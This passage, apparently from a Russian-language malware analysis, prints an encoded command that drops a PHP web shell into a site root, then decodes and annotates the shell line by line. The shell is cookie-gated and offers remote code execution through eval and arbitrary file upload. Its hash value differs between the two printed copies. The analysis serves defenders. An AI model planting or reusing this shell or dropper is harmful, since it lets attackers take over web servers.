sh -c \"echo PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K|base64 -d|tee ../../a8b5932e8b50.php;
php -v\" ``` Фактически эта команда записывала простой веб-шелл в корень сайта: ``` echo 409723*20;
if(md5($_COOKIE["d"])=="028f487cb2a60da3ad3878ec"){
echo"ok";
eval(base64_decode($_REQUEST["id"]));
if($_POST["up"]=="up"){
@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
}
}
``` Если перевести на человеческий: ``` echo 409723 * 20;
// Проверка, соответствует ли хеш MD5 куки "d" заданному значению if (md5($_COOKIE["d"]) == "17028f487cb2a84607646da3ad3878ec") {
// Если условие верно, выводит "ok" echo "ok";
// Выполняет PHP код, переданный через параметр запроса "id" после декодирования из base64 eval(base64_decode($_REQUEST["id"]));
// Проверяет, если POST параметр "up" равен "up" if ($_POST["up"] == "up") {
// Копирует загруженный файл из временного местоположения в указанное @copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
}
}
© 2023 Quttera Ltd. All rights reserved.